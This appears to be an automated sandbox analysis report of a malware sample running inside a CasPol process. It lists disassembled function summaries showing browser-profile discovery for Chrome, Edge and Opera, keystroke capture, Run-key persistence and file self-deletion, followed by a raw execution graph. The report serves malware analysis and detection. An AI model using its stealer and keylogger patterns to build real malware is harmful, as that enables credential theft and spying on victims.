                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LocaleValid
                                                                                                                                                                                                  • String ID: IsValidLocaleName$kKD
                                                                                                                                                                                                  • API String ID: 1901932003-3269126172
                                                                                                                                                                                                  • Opcode ID: 411afafda0bfc4592f61c6642b3d3a7ff2b19ca3a749cc907bc85bd1ec8c8ae6
                                                                                                                                                                                                  • Instruction ID: c774fcfd7954269485cc3e12fd2bed3330e0a6a7af379781e67d062e13931268
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 411afafda0bfc4592f61c6642b3d3a7ff2b19ca3a749cc907bc85bd1ec8c8ae6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9BF05230A80708FBDB016B60DC06FAE7B54CB44B12F10007EFD046B291DE799E0091ED
                                                                                                                                                                                                  Function 0040C4FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C531
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                                                                                                                                                                                  • API String ID: 1174141254-4188645398
                                                                                                                                                                                                  • Opcode ID: 2b6c0150b8fccbbffc8f0b3b989992b7109110bbcbfb9973898c57e16d168baa
                                                                                                                                                                                                  • Instruction ID: 9b0ec594f197676e752fca63164bf20e3c748e9c9f1ad615e42e10c79405690b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2b6c0150b8fccbbffc8f0b3b989992b7109110bbcbfb9973898c57e16d168baa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FEF05E30A00219A6CA04BBB69C478AF7B289910759B40017FBA01B21D3EE78994586DD
                                                                                                                                                                                                  Function 0040C561 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C594
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                                                                                                                                                                                  • API String ID: 1174141254-2800177040
                                                                                                                                                                                                  • Opcode ID: be2ac72381ba667652cb8157c7eab32d159168f8a730a51bc7883fbde0610272
                                                                                                                                                                                                  • Instruction ID: ebfb9b6c20c42028ef61fa2b9513503d2b9bf0243ac81fc6585c9643e3935da3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: be2ac72381ba667652cb8157c7eab32d159168f8a730a51bc7883fbde0610272
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F1F05E70A0021AE6CA04BBB69C478EF7B2C9910755B40017BBA01721D3FE7CA94586ED
                                                                                                                                                                                                  Function 0040C5C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5F7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: AppData$\Opera Software\Opera Stable\
                                                                                                                                                                                                  • API String ID: 1174141254-1629609700
                                                                                                                                                                                                  • Opcode ID: e9aef06425b09f93b4b18eec61b32618902fb8755f3519ca0ccc41cb67e29c85
                                                                                                                                                                                                  • Instruction ID: 695210f55460e2722832162fecb8267ed9c5d90cd61684e29202a639a57ef244
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e9aef06425b09f93b4b18eec61b32618902fb8755f3519ca0ccc41cb67e29c85
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 38F05E30A00219D6CA14BBB69C478EF7B2C9950755F1005BBBA01B21D3EE789941C6ED
                                                                                                                                                                                                  Function 0040B681 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetKeyState.USER32(00000011), ref: 0040B686
                                                                                                                                                                                                    • Part of subcall function 0040A41B: GetForegroundWindow.USER32 ref: 0040A451
                                                                                                                                                                                                    • Part of subcall function 0040A41B: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A45D
                                                                                                                                                                                                    • Part of subcall function 0040A41B: GetKeyboardLayout.USER32 ref: 0040A464
                                                                                                                                                                                                    • Part of subcall function 0040A41B: GetKeyState.USER32(00000010), ref: 0040A46E
                                                                                                                                                                                                    • Part of subcall function 0040A41B: GetKeyboardState.USER32(?), ref: 0040A479
                                                                                                                                                                                                    • Part of subcall function 0040A41B: ToUnicodeEx.USER32 ref: 0040A49C
                                                                                                                                                                                                    • Part of subcall function 0040A41B: ToUnicodeEx.USER32 ref: 0040A4FC
                                                                                                                                                                                                    • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,?,0040B86A,?,?,?,?,?,00000000), ref: 0040A69D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                                                                                                                                  • String ID: [AltL]$[AltR]
                                                                                                                                                                                                  • API String ID: 2738857842-2658077756
                                                                                                                                                                                                  • Opcode ID: 2bdc01cacd876c0b350abb7d408e8864ecff36be759564c8f89a1257273347cd
                                                                                                                                                                                                  • Instruction ID: d407634c764e35d79823ffb94670adf82ecea3c262ef0a09b09082b5b6a355d5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2bdc01cacd876c0b350abb7d408e8864ecff36be759564c8f89a1257273347cd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B2E0652171032052C859363D592FABE2D11CB41B64B42097FF842AB7D6DABF4D5543CF
                                                                                                                                                                                                  Function 004161C5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExecuteShell
                                                                                                                                                                                                  • String ID: !D@$open
                                                                                                                                                                                                  • API String ID: 587946157-1586967515
                                                                                                                                                                                                  • Opcode ID: 4c61eaa6548ee28cdb1e2a4907ffc3a5f6acbad4bc53697dcaba2df13cd2f041
                                                                                                                                                                                                  • Instruction ID: 3b2857edeaddefe186f4a0a52e989bb70d7a4cfa1db765b6d796ce97600c5b03
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4c61eaa6548ee28cdb1e2a4907ffc3a5f6acbad4bc53697dcaba2df13cd2f041
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4AE012712483059AD214EA72DC92EFEB35CAB54755F404C3FF506524E2EF3C5C49C66A
                                                                                                                                                                                                  Function 0040B6DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetKeyState.USER32(00000012), ref: 0040B6E0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: State
                                                                                                                                                                                                  • String ID: [CtrlL]$[CtrlR]
                                                                                                                                                                                                  • API String ID: 1649606143-2446555240
                                                                                                                                                                                                  • Opcode ID: 5e9c90a2b5f30f0669b27174b58f532bfe2dc3a0439e10c0f003492ce4cfd8eb
                                                                                                                                                                                                  • Instruction ID: b338140f060b4cc34328e336f8905ed3f99262ec5dadafe534bff25dd27afc5e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5e9c90a2b5f30f0669b27174b58f532bfe2dc3a0439e10c0f003492ce4cfd8eb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CFE04F2160072052C5243A7D561A67A2911C7C2764F41057BE9826B7C6DABE891452DF
                                                                                                                                                                                                  Function 0040E7DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 00410F64
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Init_thread_footer__onexit
                                                                                                                                                                                                  • String ID: ,kG$0kG
                                                                                                                                                                                                  • API String ID: 1881088180-2015055088
                                                                                                                                                                                                  • Opcode ID: 6e3451c1f808ccc17589ee43c3bbf287c043e9bd68a58e8b3248af8f7871f884
                                                                                                                                                                                                  • Instruction ID: 52a075922dd803dc3791164d579436726ad124eb3de8ddc986de269a183bf650
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e3451c1f808ccc17589ee43c3bbf287c043e9bd68a58e8b3248af8f7871f884
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A8E0D8315149208EC514B729E542AC53395DB0E324B21907BF014D72D2CBAE78C28E5D
                                                                                                                                                                                                  Function 00413A5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A6A
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DeleteOpenValue
                                                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                                                                                                                                  • API String ID: 2654517830-1051519024
                                                                                                                                                                                                  • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                                                                                                                                  • Instruction ID: 8a242acd51d06e7ce72e997358fe7bb9804e2c240f13b939b69747d851efcbee
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FFE0C231244208FBEF104FB1DD06FFA7B2CDB01F42F1006A9BA0692192C626CE049664
                                                                                                                                                                                                  Function 0040B8A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8B1
                                                                                                                                                                                                  • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8DC
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DeleteDirectoryFileRemove
                                                                                                                                                                                                  • String ID: pth_unenc
                                                                                                                                                                                                  • API String ID: 3325800564-4028850238
                                                                                                                                                                                                  • Opcode ID: abbea0d7173f6b15884b0e8937d7cb34f61697f5a4d448918d1cd9e56a781f81
                                                                                                                                                                                                  • Instruction ID: ee660421d7ec44f6c6eaad5e9e1fc6482a22fb53094cf60c5c3e5a772ac54322
                                                                                                                                                                                                  • Opcode Fuzzy Hash: abbea0d7173f6b15884b0e8937d7cb34f61697f5a4d448918d1cd9e56a781f81
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5AE04F314006109BC610BB218854AD6335CAB04316F00497BE4A3A35A1DF38AC49D658
                                                                                                                                                                                                  Function 0041288B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F903), ref: 0041289B
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(000000FF), ref: 004128AE
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ObjectProcessSingleTerminateWait
                                                                                                                                                                                                  • String ID: pth_unenc
                                                                                                                                                                                                  • API String ID: 1872346434-4028850238
                                                                                                                                                                                                  • Opcode ID: a2eb2d9afd673111ff5afcc9fde18e5bb16fff8f446b795bb15600cc5347fa32
                                                                                                                                                                                                  • Instruction ID: 30425768eaae71e8f6d4d073063fb5581f05561c6d480f36d281b696a9d2b878
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a2eb2d9afd673111ff5afcc9fde18e5bb16fff8f446b795bb15600cc5347fa32
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DBD01234149312FFD7310F60EE4DB443B589705362F140361F439552F1C7A589D4AB58
                                                                                                                                                                                                  Function 00440CE1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D77
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00440D85
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440DE0
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1717984340-0
                                                                                                                                                                                                  • Opcode ID: b039ec4469df985fcedc89be96e173b9c6b75658958c27081834ba59c0289411
                                                                                                                                                                                                  • Instruction ID: 51be13377619d21db21fabe69686c0ed70cae26876ac5a8e773c252addda8789
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b039ec4469df985fcedc89be96e173b9c6b75658958c27081834ba59c0289411
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D412670A00212AFEF218FA5C8447BBBBA4EF41310F2045AAFA59573E1DB399C31C759
                                                                                                                                                                                                  Function 00411B9A Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411BC7
                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411C93
                                                                                                                                                                                                  • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411CB5
                                                                                                                                                                                                  • SetLastError.KERNEL32(0000007E,00411F2B), ref: 00411CCC
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLastRead
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4100373531-0
                                                                                                                                                                                                  • Opcode ID: 90639ee29dfdd48ecb3f8d3d3319bc7730bab7022ac74643829df8c5f46e8e60
                                                                                                                                                                                                  • Instruction ID: 65e884089caabfe283b2879acbb60db065d5dd9ad58be7743d127bf22715a70c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 90639ee29dfdd48ecb3f8d3d3319bc7730bab7022ac74643829df8c5f46e8e60
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 60419D716443059FEB248F19DC84BA7B3E4FF44714F00082EEA4A876A1F738E845CB99

                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                  Execution Coverage:5.8%
                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:9.2%
                                                                                                                                                                                                  Signature Coverage:0%
                                                                                                                                                                                                  Total number of Nodes:2000
                                                                                                                                                                                                  Total number of Limit Nodes:70
                                                                                                                                                                                                  execution_graph 37873 44660a 37876 4465e4 37873->37876 37875 446613 37877 4465f3 __dllonexit 37876->37877 37878 4465ed _onexit 37876->37878 37877->37875 37878->37877 37669 442ec6 19 API calls 37842 4152c6 malloc 37843 4152e2 37842->37843 37844 4152ef 37842->37844 37846 416760 11 API calls 37844->37846 37846->37843 37847 4232e8 37848 4232ef 37847->37848 37851 415b2c 37848->37851 37850 423305 37852 415b46 37851->37852 37853 415b42 37851->37853 37852->37850 37853->37852 37854 415b94 37853->37854 37856 415b5a 37853->37856 37858 4438b5 37854->37858 37856->37852 37857 415b79 memcpy 37856->37857 37857->37852 37859 4438d0 37858->37859 37870 4438c9 37858->37870 37872 415378 memcpy memcpy 37859->37872 37870->37852 37879 4466f4 37898 446904 37879->37898 37881 446700 GetModuleHandleA 37884 446710 __set_app_type __p__fmode __p__commode 37881->37884 37883 4467a4 37885 4467ac __setusermatherr 37883->37885 37886 4467b8 37883->37886 37884->37883 37885->37886 37899 4468f0 _controlfp 37886->37899 37888 4467bd _initterm __wgetmainargs _initterm 37889 44681e GetStartupInfoW 37888->37889 37890 446810 37888->37890 37892 446866 GetModuleHandleA 37889->37892 37900 41276d 37892->37900 37896 446896 exit 37897 44689d _cexit 37896->37897 37897->37890 37898->37881 37899->37888 37901 41277d 37900->37901 37943 4044a4 LoadLibraryW 37901->37943 37903 412785 37935 412789 37903->37935 37951 414b81 37903->37951 37906 4127c8 37957 412465 memset ??2@YAPAXI 37906->37957 37908 4127ea 37969 40ac21 37908->37969 37913 412813 37987 40dd07 memset 37913->37987 37914 412827 37992 40db69 memset 37914->37992 37918 412822 38014 4125b6 ??3@YAXPAX DeleteObject 37918->38014 37919 40ada2 _wcsicmp 37920 41283d 37919->37920 37920->37918 37923 412863 CoInitialize 37920->37923 37997 41268e 37920->37997 37922 412966 38015 40b1ab free free 37922->38015 38013 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37923->38013 37927 41296f 38016 40b633 37927->38016 37929 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37934 412957 CoUninitialize 37929->37934 37940 4128ca 37929->37940 37934->37918 37935->37896 37935->37897 37936 4128d0 TranslateAcceleratorW 37937 412941 GetMessageW 37936->37937 37936->37940 37937->37934 37937->37936 37938 412909 IsDialogMessageW 37938->37937 37938->37940 37939 4128fd IsDialogMessageW 37939->37937 37939->37938 37940->37936 37940->37938 37940->37939 37941 41292b TranslateMessage DispatchMessageW 37940->37941 37942 41291f IsDialogMessageW 37940->37942 37941->37937 37942->37937 37942->37941 37944 4044f7 37943->37944 37945 4044cf GetProcAddress 37943->37945 37949 404507 MessageBoxW 37944->37949 37950 40451e 37944->37950 37946 4044e8 FreeLibrary 37945->37946 37948 4044df 37945->37948 37946->37944 37947 4044f3 37946->37947 37947->37944 37948->37946 37949->37903 37950->37903 37952 414b8a 37951->37952 37953 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37951->37953 38020 40a804 memset 37952->38020 37953->37906 37956 414b9e GetProcAddress 37956->37953 37958 4124e0 37957->37958 37959 412505 ??2@YAPAXI 37958->37959 37960 41251c 37959->37960 37962 412521 37959->37962 38042 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37960->38042 38031 444722 37962->38031 37968 41259b wcscpy 37968->37908 38047 40b1ab free free 37969->38047 37973 40a9ce malloc memcpy free free 37976 40ac5c 37973->37976 37974 40ad4b 37982 40ad76 37974->37982 38071 40a9ce 37974->38071 37976->37973 37976->37974 37977 40ace7 free 37976->37977 37976->37982 38051 40a8d0 37976->38051 38063 4099f4 37976->38063 37977->37976 37981 40a8d0 7 API calls 37981->37982 38048 40aa04 37982->38048 37983 40ada2 37984 40adc9 37983->37984 37985 40adaa 37983->37985 37984->37913 37984->37914 37985->37984 37986 40adb3 _wcsicmp 37985->37986 37986->37984 37986->37985 38076 40dce0 37987->38076 37989 40dd3a GetModuleHandleW 38081 40dba7 37989->38081 37993 40dce0 3 API calls 37992->37993 37994 40db99 37993->37994 38153 40dae1 37994->38153 38167 402f3a 37997->38167 37999 412766 37999->37918 37999->37923 38000 4126d3 _wcsicmp 38001 4126a8 38000->38001 38001->37999 38001->38000 38003 41270a 38001->38003 38201 4125f8 7 API calls 38001->38201 38003->37999 38170 411ac5 38003->38170 38013->37929 38014->37922 38015->37927 38017 40b640 38016->38017 38018 40b639 free 38016->38018 38019 40b1ab free free 38017->38019 38018->38017 38019->37935 38021 40a83b GetSystemDirectoryW 38020->38021 38022 40a84c wcscpy 38020->38022 38021->38022 38027 409719 wcslen 38022->38027 38025 40a881 LoadLibraryW 38026 40a886 38025->38026 38026->37953 38026->37956 38028 409724 38027->38028 38029 409739 wcscat LoadLibraryW 38027->38029 38028->38029 38030 40972c wcscat 38028->38030 38029->38025 38029->38026 38030->38029 38032 444732 38031->38032 38033 444728 DeleteObject 38031->38033 38043 409cc3 38032->38043 38033->38032 38035 412551 38036 4010f9 38035->38036 38037 401130 38036->38037 38038 401134 GetModuleHandleW LoadIconW 38037->38038 38039 401107 wcsncat 38037->38039 38040 40a7be 38038->38040 38039->38037 38041 40a7d2 38040->38041 38041->37968 38041->38041 38042->37962 38046 409bfd memset wcscpy 38043->38046 38045 409cdb CreateFontIndirectW 38045->38035 38046->38045 38047->37976 38049 40aa14 38048->38049 38050 40aa0a free 38048->38050 38049->37983 38050->38049 38052 40a8eb 38051->38052 38053 40a8df wcslen 38051->38053 38054 40a906 free 38052->38054 38055 40a90f 38052->38055 38053->38052 38056 40a919 38054->38056 38057 4099f4 3 API calls 38055->38057 38058 40a932 38056->38058 38059 40a929 free 38056->38059 38057->38056 38061 4099f4 3 API calls 38058->38061 38060 40a93e memcpy 38059->38060 38060->37976 38062 40a93d 38061->38062 38062->38060 38064 409a41 38063->38064 38065 4099fb malloc 38063->38065 38064->37976 38067 409a37 38065->38067 38068 409a1c 38065->38068 38067->37976 38069 409a30 free 38068->38069 38070 409a20 memcpy 38068->38070 38069->38067 38070->38069 38072 40a9e7 38071->38072 38073 40a9dc free 38071->38073 38074 4099f4 3 API calls 